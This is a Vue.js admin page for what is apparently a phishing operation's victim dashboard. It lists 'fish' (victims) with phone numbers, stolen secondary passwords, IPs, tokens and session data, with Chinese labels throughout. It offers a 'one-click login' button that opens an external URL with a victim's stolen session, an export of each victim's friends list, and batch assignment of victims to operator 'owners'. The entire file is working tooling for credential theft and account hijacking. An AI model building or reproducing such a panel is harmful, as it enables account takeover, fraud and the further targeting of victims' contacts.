| 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267 |
- <template>
- <div class="rounded-lg p-4 bg-[var(--p-content-background)]">
- <DataTable
- :value="tableData.content"
- :paginator="true"
- paginatorTemplate="CurrentPageReport FirstPageLink PrevPageLink PageLinks NextPageLink LastPageLink RowsPerPageDropdown JumpToPageInput"
- currentPageReportTemplate="{totalRecords} 条记录 "
- :rows="tableData.metadata.size"
- :rowsPerPageOptions="[10, 20, 50, 100]"
- :totalRecords="tableData.metadata.total"
- @page="handlePageChange"
- lazy
- scrollable
- class="fish-table"
- v-model:selection="selectedFish"
- dataKey="id"
- >
- <template #header>
- <div class="flex flex-wrap items-center gap-2">
- <InputText v-model="searchForm.id" placeholder="ID" size="small" class="w-32" @keyup.enter="handleSearch" />
- <InputText
- v-model="searchForm.name"
- placeholder="用户名"
- size="small"
- class="w-32"
- @keyup.enter="handleSearch"
- />
- <InputText
- v-model="searchForm.phone"
- placeholder="手机号"
- size="small"
- class="w-32"
- @keyup.enter="handleSearch"
- />
- <InputText
- v-model="searchForm.ownerName"
- placeholder="所有者"
- v-if="isAdmin"
- size="small"
- class="w-32"
- @keyup.enter="handleSearch"
- />
- <Dropdown
- v-model="searchForm.result"
- :options="resultOptions"
- optionLabel="label"
- optionValue="value"
- placeholder="操作结果"
- size="small"
- class="w-32"
- :showClear="true"
- />
- <DatePicker
- v-model="searchForm.createdAt"
- placeholder="中鱼时间"
- size="small"
- class="w-40"
- dateFormat="yy-mm-dd"
- showIcon
- />
- <DatePicker
- v-model="searchForm.loginTime"
- placeholder="登录时间"
- size="small"
- class="w-40"
- dateFormat="yy-mm-dd"
- showIcon
- />
- <Button icon="pi pi-search" @click="handleSearch" label="搜索" size="small" severity="secondary" />
- <Button icon="pi pi-refresh" @click="handleRefresh" label="刷新" size="small" />
- <Button
- v-if="isAdmin"
- icon="pi pi-users"
- @click="openBatchUpdateDialog"
- label="批量更新所有者"
- size="small"
- severity="info"
- />
- <Button
- v-if="isAdmin"
- icon="pi pi-trash"
- @click="openBatchDeleteDialog"
- label="批量删除"
- size="small"
- severity="danger"
- />
- <div class="flex-1"></div>
- </div>
- </template>
- <Column selectionMode="multiple" headerStyle="width: 3rem" frozen></Column>
- <Column field="id" header="ID" style="width: 80px" frozen>
- <template #body="slotProps">
- <span
- class="font-mono text-sm copyable-text"
- :title="slotProps.data.id"
- @click="copyToClipboard(slotProps.data.id)"
- >
- {{ slotProps.data.id }}
- </span>
- </template>
- </Column>
- <Column field="name" header="用户名" style="min-width: 120px; max-width: 200px">
- <template #body="slotProps">
- <span
- class="font-medium name-text copyable-text"
- :title="slotProps.data.name"
- @click="copyToClipboard(slotProps.data.name)"
- >
- {{ slotProps.data.name }}
- </span>
- </template>
- </Column>
- <Column field="username" header="昵称" style="min-width: 120px; max-width: 200px">
- <template #body="slotProps">
- <span
- class="username-text copyable-text"
- :title="slotProps.data.username"
- @click="copyToClipboard(slotProps.data.username)"
- >
- {{ slotProps.data.username }}
- </span>
- </template>
- </Column>
- <Column field="phone" header="手机号" style="width: 120px">
- <template #body="slotProps">
- <span class="copyable-text" :title="slotProps.data.phone" @click="copyToClipboard(slotProps.data.phone)">
- {{ slotProps.data.phone }}
- </span>
- </template>
- </Column>
- <Column field="password" header="二级密码" style="min-width: 140px; max-width: 200px">
- <template #body="slotProps">
- <span
- class="password-text copyable-text"
- :class="{ 'has-password': slotProps.data.password }"
- :title="slotProps.data.password || '无'"
- @click="copyToClipboard(slotProps.data.password || '无')"
- >
- {{ slotProps.data.password || '无' }}
- </span>
- </template>
- </Column>
- <Column field="remark" header="客户备注" style="width: 120px">
- <template #body="slotProps">
- <div class="text-sm remark-text remark-content" :title="slotProps.data.remark || '-'">
- {{ slotProps.data.remark || '-' }}
- </div>
- </template>
- </Column>
- <Column field="result" header="操作结果" style="width: 100px">
- <template #body="slotProps">
- <span
- class="result-text"
- :class="getResultText(slotProps.data.result).class"
- :title="getResultText(slotProps.data.result).text"
- >
- {{ getResultText(slotProps.data.result).text }}
- </span>
- </template>
- </Column>
- <Column field="ownerName" header="所有者" v-if="isAdmin" style="min-width: 100px; max-width: 150px">
- <template #body="slotProps">
- <span
- class="owner-text copyable-text"
- :title="slotProps.data.ownerName || '未分配'"
- @click="copyToClipboard(slotProps.data.ownerName || '未分配')"
- >
- {{ slotProps.data.ownerName || '未分配' }}
- </span>
- </template>
- </Column>
- <Column field="loginTime" header="登录时间" style="width: 100px">
- <template #body="slotProps">
- <span class="text-sm time-text" :class="getTimeColorClass(slotProps.data.loginTime)">
- {{ formatRelativeTime(slotProps.data.loginTime) }}
- </span>
- </template>
- </Column>
- <Column field="createdAt" header="中鱼时间" style="width: 100px">
- <template #body="slotProps">
- <span class="text-sm time-text" :class="getTimeColorClass(slotProps.data.createdAt)">
- {{ formatRelativeTime(slotProps.data.createdAt) }}
- </span>
- </template>
- </Column>
- <Column field="ip" header="IP地址" style="width: 120px">
- <template #body="slotProps">
- <span
- class="font-mono text-sm ip-text copyable-text"
- :title="slotProps.data.ip"
- @click="copyToClipboard(slotProps.data.ip)"
- >
- {{ slotProps.data.ip }}
- </span>
- </template>
- </Column>
- <Column
- header="操作"
- style="min-width: 220px; width: 220px"
- align-frozen="right"
- frozen
- :pt="{
- columnHeaderContent: {
- class: 'justify-center'
- }
- }"
- >
- <template #body="slotProps">
- <div class="flex justify-center gap-1">
- <Button
- icon="pi pi-window-maximize"
- label="一键登录"
- severity="danger"
- size="small"
- text
- rounded
- class="quick-login-btn"
- aria-label="一键登录"
- @click="handleQuickLogin(slotProps.data)"
- />
- <Button
- icon="pi pi-file-export"
- label="导出好友列表"
- severity="warn"
- size="small"
- text
- rounded
- class="export-friends-btn"
- aria-label="导出好友列表"
- @click="handleExportFriends(slotProps.data)"
- />
- <Button
- icon="pi pi-pencil"
- severity="info"
- size="small"
- text
- rounded
- aria-label="编辑"
- @click="openEditDialog(slotProps.data)"
- />
- <Button
- icon="pi pi-trash"
- severity="danger"
- size="small"
- text
- rounded
- aria-label="删除"
- @click="confirmDelete(slotProps.data)"
- />
- </div>
- </template>
- </Column>
- </DataTable>
- <!-- 编辑弹窗 -->
- <Dialog
- v-model:visible="editDialog"
- :modal="true"
- header="编辑鱼苗信息"
- :style="{ width: '700px' }"
- position="center"
- >
- <div class="p-fluid">
- <div class="grid grid-cols-3 gap-4">
- <div class="field">
- <label for="edit-name" class="font-medium text-sm mb-2 block">用户名</label>
- <InputText id="edit-name" v-model="editForm.name" class="w-full" />
- </div>
- <div class="field">
- <label for="edit-username" class="font-medium text-sm mb-2 block">昵称</label>
- <InputText id="edit-username" v-model="editForm.username" class="w-full" />
- </div>
- <div class="field">
- <label for="edit-phone" class="font-medium text-sm mb-2 block">手机号</label>
- <InputText id="edit-phone" v-model="editForm.phone" class="w-full" />
- </div>
- </div>
- <div class="grid grid-cols-2 gap-4 mt-4">
- <div class="field">
- <label for="edit-password" class="font-medium text-sm mb-2 block">二级密码</label>
- <InputText id="edit-password" v-model="editForm.password" class="w-full" />
- </div>
- <div class="field">
- <label for="edit-ip" class="font-medium text-sm mb-2 block">IP地址</label>
- <InputText id="edit-ip" v-model="editForm.ip" class="w-full" />
- </div>
- </div>
- <div class="grid grid-cols-2 gap-4 mt-4">
- <div class="field">
- <label for="edit-result" class="font-medium text-sm mb-2 block">操作结果</label>
- <Dropdown
- id="edit-result"
- v-model="editForm.result"
- :options="resultOptions.filter((option) => option.value !== null)"
- optionLabel="label"
- optionValue="value"
- placeholder="选择操作结果"
- class="w-full"
- />
- </div>
- <div class="field" v-if="isAdmin">
- <label for="edit-ownerName" class="font-medium text-sm mb-2 block">所有者</label>
- <Dropdown
- id="edit-ownerName"
- v-model="editForm.ownerId"
- :options="ownerStore.owners"
- optionLabel="name"
- optionValue="value"
- placeholder="选择所有者"
- class="w-full"
- @change="handleOwnerChange"
- />
- </div>
- </div>
- <div class="field mt-4">
- <label for="edit-remark" class="font-medium text-sm mb-2 block">客户备注</label>
- <Textarea
- id="edit-remark"
- v-model="editForm.remark"
- rows="3"
- class="w-full"
- placeholder="请输入客户备注信息..."
- autoResize
- />
- </div>
- <div class="field mt-4">
- <div class="flex items-center gap-2 mb-2">
- <label for="edit-token" class="font-medium text-sm">Token</label>
- <Button
- icon="pi pi-copy"
- size="small"
- text
- rounded
- @click="copyToClipboard(editForm.token || '')"
- :disabled="!editForm.token"
- title="复制Token"
- />
- </div>
- <Textarea
- id="edit-token"
- v-model="editForm.token"
- rows="3"
- class="w-full"
- placeholder="请输入Token信息..."
- autoResize
- />
- </div>
- <div class="field mt-4">
- <div class="flex items-center gap-2 mb-2">
- <label for="edit-session" class="font-medium text-sm">Session</label>
- <Button
- icon="pi pi-copy"
- size="small"
- text
- rounded
- @click="copyToClipboard(editForm.session || '')"
- :disabled="!editForm.session"
- title="复制Session"
- />
- </div>
- <Textarea
- id="edit-session"
- v-model="editForm.session"
- rows="3"
- class="w-full"
- placeholder="请输入Session信息..."
- autoResize
- />
- </div>
- </div>
- <template #footer>
- <div class="flex justify-end gap-3">
- <Button label="取消" severity="secondary" @click="editDialog = false" />
- <Button label="保存" severity="success" @click="saveEdit" :loading="editLoading" />
- </div>
- </template>
- </Dialog>
- <!-- 批量更新所有者弹窗 -->
- <Dialog
- v-model:visible="batchUpdateDialog"
- :modal="true"
- header="批量更新所有者"
- :style="{ width: '500px' }"
- position="center"
- >
- <div class="p-fluid">
- <div class="mb-4">
- <p class="text-sm text-gray-600 mb-2">已选择 {{ selectedFish.length }} 条鱼苗记录</p>
- <div class="max-h-32 overflow-y-auto bg-gray-50 p-3 rounded">
- <div v-for="fish in selectedFish" :key="fish.id" class="text-sm mb-1">
- <span class="font-medium">{{ fish.name }}</span>
- <span class="text-gray-500 ml-2">({{ fish.id }})</span>
- </div>
- </div>
- </div>
- <div class="field">
- <label for="batch-owner" class="font-medium text-sm mb-2 block">选择新所有者</label>
- <Dropdown
- id="batch-owner"
- v-model="batchUpdateForm.ownerId"
- :options="ownerStore.owners"
- optionLabel="name"
- optionValue="value"
- placeholder="选择所有者"
- class="w-full"
- @change="handleBatchOwnerChange"
- />
- </div>
- </div>
- <template #footer>
- <div class="flex justify-end gap-3">
- <Button label="取消" severity="secondary" @click="batchUpdateDialog = false" />
- <Button
- label="确认更新"
- severity="success"
- @click="saveBatchUpdate"
- :loading="batchUpdateLoading"
- :disabled="!batchUpdateForm.ownerId"
- />
- </div>
- </template>
- </Dialog>
- <!-- 批量删除确认弹窗 -->
- <Dialog
- v-model:visible="batchDeleteDialog"
- :modal="true"
- header="批量删除确认"
- :style="{ width: '500px' }"
- position="center"
- >
- <div class="p-fluid">
- <div class="mb-4">
- <p class="text-sm text-gray-600 mb-2">确定要删除以下 {{ selectedFish.length }} 条鱼苗记录吗?</p>
- <div class="max-h-32 overflow-y-auto bg-gray-50 p-3 rounded">
- <div v-for="fish in selectedFish" :key="fish.id" class="text-sm mb-1">
- <span class="font-medium">{{ fish.name }}</span>
- <span class="text-gray-500 ml-2">({{ fish.id }})</span>
- </div>
- </div>
- <p class="text-red-600 text-sm mt-2">
- <i class="pi pi-exclamation-triangle mr-1"></i>
- 此操作不可撤销,请谨慎操作!
- </p>
- </div>
- </div>
- <template #footer>
- <div class="flex justify-end gap-3">
- <Button label="取消" severity="secondary" @click="batchDeleteDialog = false" />
- <Button
- label="确认删除"
- severity="danger"
- @click="saveBatchDelete"
- :loading="batchDeleteLoading"
- />
- </div>
- </template>
- </Dialog>
- </div>
- </template>
- <script setup>
- import { listFish, deleteFish, updateFish, exportFishFriends, batchUpdateFishOwner, batchDeleteFish } from '@/services/api'
- import { useDateFormat } from '@vueuse/core'
- import Button from 'primevue/button'
- import Column from 'primevue/column'
- import DataTable from 'primevue/datatable'
- import DatePicker from 'primevue/calendar'
- import Dialog from 'primevue/dialog'
- import Dropdown from 'primevue/dropdown'
- import InputText from 'primevue/inputtext'
- import Textarea from 'primevue/textarea'
- import { useConfirm } from 'primevue/useconfirm'
- import { useToast } from 'primevue/usetoast'
- import { onMounted, ref, inject } from 'vue'
- import { useOwnerStore } from '@/stores/owner'
- import { ResultEnum } from '@/enums'
- const toast = useToast()
- const confirm = useConfirm()
- const ownerStore = useOwnerStore()
- const isAdmin = inject('isAdmin')
- // 表格数据
- const tableData = ref({
- content: [],
- metadata: {
- page: 0,
- size: 20,
- total: 0
- }
- })
- // 选中的鱼苗
- const selectedFish = ref([])
- // 加载状态
- const loading = ref(false)
- // 编辑相关
- const editDialog = ref(false)
- const editLoading = ref(false)
- const editForm = ref({
- id: null,
- name: null,
- username: null,
- phone: null,
- password: null,
- ip: null,
- remark: null,
- ownerName: null,
- ownerId: null,
- token: null,
- session: null,
- result: null
- })
- // 批量更新相关
- const batchUpdateDialog = ref(false)
- const batchUpdateLoading = ref(false)
- const batchUpdateForm = ref({
- ownerId: null,
- ownerName: null
- })
- // 批量删除相关
- const batchDeleteDialog = ref(false)
- const batchDeleteLoading = ref(false)
- // 搜索表单
- const searchForm = ref({
- id: null,
- name: null,
- username: null,
- phone: null,
- ownerName: null,
- result: null,
- createdAt: null,
- loginTime: null
- })
- // 状态选项
- const resultOptions = [
- { label: '全部', value: null },
- { label: ResultEnum.success, value: 'success' },
- { label: ResultEnum.tagged, value: 'tagged' },
- { label: ResultEnum.noTag, value: 'noTag' }
- ]
- // 获取结果中文显示和样式类
- const getResultText = (result) => {
- if (!result) return { text: '-', class: '' }
- const resultMap = {
- success: { text: ResultEnum.success, class: 'result-success' },
- tagged: { text: ResultEnum.tagged, class: 'result-tagged' },
- noTag: { text: ResultEnum.noTag, class: 'result-no-tag' }
- }
- return resultMap[result] || { text: result, class: '' }
- }
- // 获取数据
- const fetchData = async () => {
- loading.value = true
- try {
- const response = await listFish(
- tableData.value.metadata.page,
- tableData.value.metadata.size,
- searchForm.value.id || undefined,
- searchForm.value.name || undefined,
- searchForm.value.phone || undefined,
- searchForm.value.result || undefined,
- // 只有管理员才能使用所有者搜索参数
- isAdmin.value ? searchForm.value.ownerName || undefined : undefined,
- searchForm.value.createdAt ? formatDateForAPI(searchForm.value.createdAt) : undefined,
- searchForm.value.loginTime ? formatDateForAPI(searchForm.value.loginTime) : undefined
- )
- tableData.value = response
- } catch {
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: '获取鱼苗列表失败',
- life: 3000
- })
- } finally {
- loading.value = false
- }
- }
- // 分页处理
- const handlePageChange = (event) => {
- tableData.value.metadata.page = event.page
- tableData.value.metadata.size = event.rows
- fetchData()
- }
- // 搜索处理
- const handleSearch = () => {
- tableData.value.metadata.page = 0
- fetchData()
- }
- // 刷新处理(重置搜索条件并重新查询)
- const handleRefresh = () => {
- searchForm.value = {
- id: null,
- name: null,
- username: null,
- phone: null,
- ownerName: null,
- result: null,
- createdAt: null,
- loginTime: null
- }
- tableData.value.metadata.page = 0
- fetchData()
- }
- // 格式化相对时间
- const formatRelativeTime = (date) => {
- if (!date) return '-'
- const now = new Date()
- const targetDate = new Date(date)
- const diffInMs = now - targetDate
- if (diffInMs < 0) return '刚刚'
- const diffInSeconds = Math.floor(diffInMs / 1000)
- const diffInMinutes = Math.floor(diffInSeconds / 60)
- const diffInHours = Math.floor(diffInMinutes / 60)
- const diffInDays = Math.floor(diffInHours / 24)
- if (diffInDays > 0) {
- const remainingHours = diffInHours % 24
- return `${diffInDays}天${remainingHours}小时前`
- } else if (diffInHours > 0) {
- const remainingMinutes = diffInMinutes % 60
- return `${diffInHours}小时${remainingMinutes}分钟前`
- } else if (diffInMinutes > 0) {
- return `${diffInMinutes}分钟前`
- } else {
- return '刚刚'
- }
- }
- // 获取时间颜色类
- const getTimeColorClass = (date) => {
- if (!date) return ''
- const now = new Date()
- const targetDate = new Date(date)
- const diffInMs = now - targetDate
- if (diffInMs < 0) return 'time-just-now'
- const diffInSeconds = Math.floor(diffInMs / 1000)
- const diffInMinutes = Math.floor(diffInSeconds / 60)
- const diffInHours = Math.floor(diffInMinutes / 60)
- const diffInDays = Math.floor(diffInHours / 24)
- if (diffInDays > 0) {
- return 'time-old' // 大于1天
- } else if (diffInHours > 0) {
- return 'time-medium' // 大于1小时少于1天
- } else {
- return 'time-recent' // 少于1小时
- }
- }
- // 格式化日期用于API调用
- const formatDateForAPI = (date) => {
- if (!date) return undefined
- return useDateFormat(new Date(date), 'YYYY-MM-DD').value
- }
- // 确认删除
- const confirmDelete = (fish) => {
- confirm.require({
- message: `确定要删除鱼苗 "${fish.name}" 吗?`,
- header: '确认删除',
- icon: 'pi pi-exclamation-triangle',
- accept: () => deleteFishRecord(fish.id)
- })
- }
- // 删除鱼苗
- const deleteFishRecord = async (id) => {
- try {
- await deleteFish(id)
- toast.add({
- severity: 'success',
- summary: '成功',
- detail: '删除成功',
- life: 3000
- })
- fetchData()
- } catch {
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: '删除失败',
- life: 3000
- })
- }
- }
- // 复制到剪贴板
- const copyToClipboard = async (text) => {
- try {
- await navigator.clipboard.writeText(text)
- } catch {
- // 降级方案:使用传统方法
- const textArea = document.createElement('textarea')
- textArea.value = text
- document.body.appendChild(textArea)
- textArea.select()
- document.execCommand('copy')
- document.body.removeChild(textArea)
- }
- }
- // 打开编辑弹窗
- const openEditDialog = (fish) => {
- let ownerId = null
- if (fish.ownerName) {
- const owner = ownerStore.owners.find((owner) => owner.name === fish.ownerName)
- if (owner) {
- ownerId = owner.value
- }
- }
- editForm.value = {
- id: fish.id,
- name: fish.name || null,
- username: fish.username || null,
- phone: fish.phone || null,
- password: fish.password || null,
- ip: fish.ip || null,
- remark: fish.remark || null,
- ownerName: fish.ownerName || null,
- ownerId: ownerId,
- token: fish.token || null,
- session: fish.session || null,
- result: fish.result || null
- }
- editDialog.value = true
- }
- // 保存编辑
- const saveEdit = async () => {
- editLoading.value = true
- try {
- const dataToSave = { ...editForm.value }
- if (!isAdmin.value) {
- delete dataToSave.ownerId
- delete dataToSave.ownerName
- }
- await updateFish(dataToSave)
- toast.add({
- severity: 'success',
- summary: '成功',
- detail: '更新成功',
- life: 3000
- })
- editDialog.value = false
- fetchData()
- } catch {
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: '更新失败',
- life: 3000
- })
- } finally {
- editLoading.value = false
- }
- }
- // 处理所有者变化
- const handleOwnerChange = (event) => {
- const selectedUserId = event.value
- if (selectedUserId) {
- const selectedOwner = ownerStore.owners.find((owner) => owner.value === selectedUserId)
- if (selectedOwner) {
- editForm.value.ownerId = selectedOwner.value
- editForm.value.ownerName = selectedOwner.name
- }
- } else {
- editForm.value.ownerId = null
- editForm.value.ownerName = null
- }
- }
- // 一键登录处理
- const handleQuickLogin = (fish) => {
- try {
- // 检查是否有session值
- if (!fish.session) {
- toast.add({
- severity: 'warn',
- summary: '警告',
- detail: `没有Session信息,无法执行一键登录`,
- life: 3000
- })
- return
- }
- // 从环境变量获取一键登录URL
- const quickLoginUrl = import.meta.env.VITE_QUICK_LOGIN_URL
- // 构建登录URL
- const loginUrl = `${quickLoginUrl}/?data=${encodeURIComponent(fish.session)}`
- // 打开新标签页
- const newWindow = window.open(loginUrl, '_blank')
- if (newWindow) {
- toast.add({
- severity: 'success',
- summary: '成功',
- detail: `正在为 ${fish.name} 打开登录标签页...`,
- life: 3000
- })
- } else {
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: '无法打开新标签页,请检查浏览器弹窗设置',
- life: 3000
- })
- }
- } catch (error) {
- console.error('一键登录失败:', error)
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: '一键登录失败,请重试',
- life: 3000
- })
- }
- }
- // 导出好友列表处理
- const handleExportFriends = async (fish) => {
- try {
- toast.add({
- severity: 'info',
- summary: '提示',
- detail: `正在导出好友列表...`,
- life: 2000
- })
- const blob = await exportFishFriends(fish.id)
- const url = window.URL.createObjectURL(blob)
- const link = document.createElement('a')
- link.href = url
- link.download = `fish_friends_${fish.id}.xlsx`
- document.body.appendChild(link)
- link.click()
- document.body.removeChild(link)
- window.URL.revokeObjectURL(url)
- toast.add({
- severity: 'success',
- summary: '成功',
- detail: `已导出 ${fish.name} 的好友列表`,
- life: 3000
- })
- } catch (error) {
- console.error('导出失败:', error)
- let errorMessage = '导出好友列表失败'
- if (error.message?.includes('ERR_CONNECTION_REFUSED') || error.code === 'ERR_NETWORK') {
- errorMessage = '无法连接到服务器,请检查后端服务是否运行'
- } else if (error.response?.status === 401) {
- errorMessage = '认证失败,请重新登录'
- } else if (error.response?.status) {
- errorMessage = `服务器错误: ${error.response.status}`
- }
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: errorMessage,
- life: 5000
- })
- }
- }
- // 打开批量更新弹窗
- const openBatchUpdateDialog = () => {
- if (selectedFish.value.length === 0) {
- toast.add({
- severity: 'warn',
- summary: '警告',
- detail: '请先选择要更新的鱼苗记录',
- life: 3000
- })
- return
- }
- batchUpdateForm.value = {
- ownerId: null,
- ownerName: null
- }
- batchUpdateDialog.value = true
- }
- // 处理批量更新所有者变化
- const handleBatchOwnerChange = (event) => {
- const selectedUserId = event.value
- if (selectedUserId) {
- const selectedOwner = ownerStore.owners.find((owner) => owner.value === selectedUserId)
- if (selectedOwner) {
- batchUpdateForm.value.ownerId = selectedOwner.value
- batchUpdateForm.value.ownerName = selectedOwner.name
- }
- } else {
- batchUpdateForm.value.ownerId = null
- batchUpdateForm.value.ownerName = null
- }
- }
- // 保存批量更新
- const saveBatchUpdate = async () => {
- if (selectedFish.value.length === 0) {
- toast.add({
- severity: 'warn',
- summary: '警告',
- detail: '请先选择要更新的鱼苗记录',
- life: 3000
- })
- return
- }
- if (!batchUpdateForm.value.ownerId) {
- toast.add({
- severity: 'warn',
- summary: '警告',
- detail: '请选择新的所有者',
- life: 3000
- })
- return
- }
- batchUpdateLoading.value = true
- try {
- const ids = selectedFish.value.map((fish) => fish.id)
- await batchUpdateFishOwner(ids, batchUpdateForm.value.ownerId, batchUpdateForm.value.ownerName)
- toast.add({
- severity: 'success',
- summary: '成功',
- detail: `已成功更新 ${selectedFish.value.length} 条鱼苗的所有者`,
- life: 3000
- })
- batchUpdateDialog.value = false
- selectedFish.value = []
- fetchData()
- } catch (error) {
- console.error('批量更新失败:', error)
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: '批量更新失败,请重试',
- life: 3000
- })
- } finally {
- batchUpdateLoading.value = false
- }
- }
- // 打开批量删除弹窗
- const openBatchDeleteDialog = () => {
- if (selectedFish.value.length === 0) {
- toast.add({
- severity: 'warn',
- summary: '警告',
- detail: '请先选择要删除的鱼苗记录',
- life: 3000
- })
- return
- }
-
- batchDeleteDialog.value = true
- }
- // 保存批量删除
- const saveBatchDelete = async () => {
- if (selectedFish.value.length === 0) {
- toast.add({
- severity: 'warn',
- summary: '警告',
- detail: '请先选择要删除的鱼苗记录',
- life: 3000
- })
- return
- }
- batchDeleteLoading.value = true
- try {
- const ids = selectedFish.value.map((fish) => fish.id)
- await batchDeleteFish(ids)
-
- toast.add({
- severity: 'success',
- summary: '成功',
- detail: `已成功删除 ${selectedFish.value.length} 条鱼苗记录`,
- life: 3000
- })
-
- batchDeleteDialog.value = false
- selectedFish.value = []
- fetchData()
- } catch (error) {
- console.error('批量删除失败:', error)
- toast.add({
- severity: 'error',
- summary: '错误',
- detail: '批量删除失败,请重试',
- life: 3000
- })
- } finally {
- batchDeleteLoading.value = false
- }
- }
- // 初始化
- onMounted(async () => {
- if (isAdmin.value) {
- await ownerStore.loadOwners()
- }
- fetchData()
- })
- </script>
- <style scoped>
- .p-datatable-sm .p-datatable-tbody > tr > td {
- padding: 0.5rem;
- }
- .p-datatable-sm .p-datatable-thead > tr > th {
- padding: 0.5rem;
- }
- .fish-table {
- width: 100%;
- }
- .fish-table .p-datatable-wrapper {
- overflow-x: auto;
- }
- .fish-table .p-datatable-thead th {
- white-space: nowrap;
- min-width: 100px;
- }
- .font-mono {
- font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace;
- }
- .name-text {
- max-width: 200px;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- display: inline-block;
- }
- .username-text {
- max-width: 200px;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- display: inline-block;
- }
- .result-text {
- width: 100px;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- display: inline-block;
- }
- .result-success {
- color: #146249;
- font-weight: 600;
- }
- .result-tagged {
- color: #7c3aed;
- font-weight: 500;
- }
- .result-no-tag {
- color: #6b7280;
- font-weight: 400;
- }
- .remark-content {
- width: 120px;
- word-wrap: break-word;
- word-break: break-all;
- white-space: normal;
- line-height: 1.2;
- max-height: none;
- overflow: visible;
- }
- .owner-text {
- max-width: 150px;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- display: inline-block;
- }
- .time-text {
- width: 100px;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- display: inline-block;
- }
- .text-gray-600 {
- color: #6b7280;
- }
- .remark-text {
- color: #059669;
- font-weight: 500;
- }
- .password-text {
- color: #6b7280;
- font-style: italic;
- font-size: 0.875rem;
- word-wrap: break-word;
- word-break: break-all;
- display: inline-block;
- line-height: 1.2;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- background-color: #f3f4f6;
- padding: 2px 6px;
- border-radius: 4px;
- width: fit-content;
- max-width: 200px;
- }
- .password-text.has-password {
- color: #2563eb;
- font-weight: 500;
- }
- .ip-text {
- max-width: 120px;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- display: inline-block;
- }
- .time-recent {
- color: #059669;
- font-weight: 600;
- }
- .time-medium {
- color: #ee5808;
- font-weight: 500;
- }
- .time-old {
- color: #6b7280;
- font-weight: 400;
- }
- .time-just-now {
- color: #059669;
- font-weight: 500;
- }
- .font-medium {
- font-weight: 500;
- }
- .text-sm {
- font-size: 0.875rem;
- }
- .ml-2 {
- margin-left: 0.5rem;
- }
- .w-full {
- width: 100%;
- }
- .copyable-text {
- cursor: pointer;
- transition: all 0.2s ease;
- user-select: none;
- }
- .copyable-text:hover {
- background-color: #e5e7eb;
- border-radius: 4px;
- }
- .copyable-text:active {
- background-color: #d1d5db;
- transform: scale(0.98);
- }
- .quick-login-btn {
- height: 2rem;
- padding: 0 0.75rem;
- font-size: 0.875rem;
- white-space: nowrap;
- width: 80px;
- }
- .export-friends-btn {
- height: 2rem;
- padding: 0 0.75rem;
- font-size: 0.875rem;
- white-space: nowrap;
- width: 110px;
- }
- </style>
|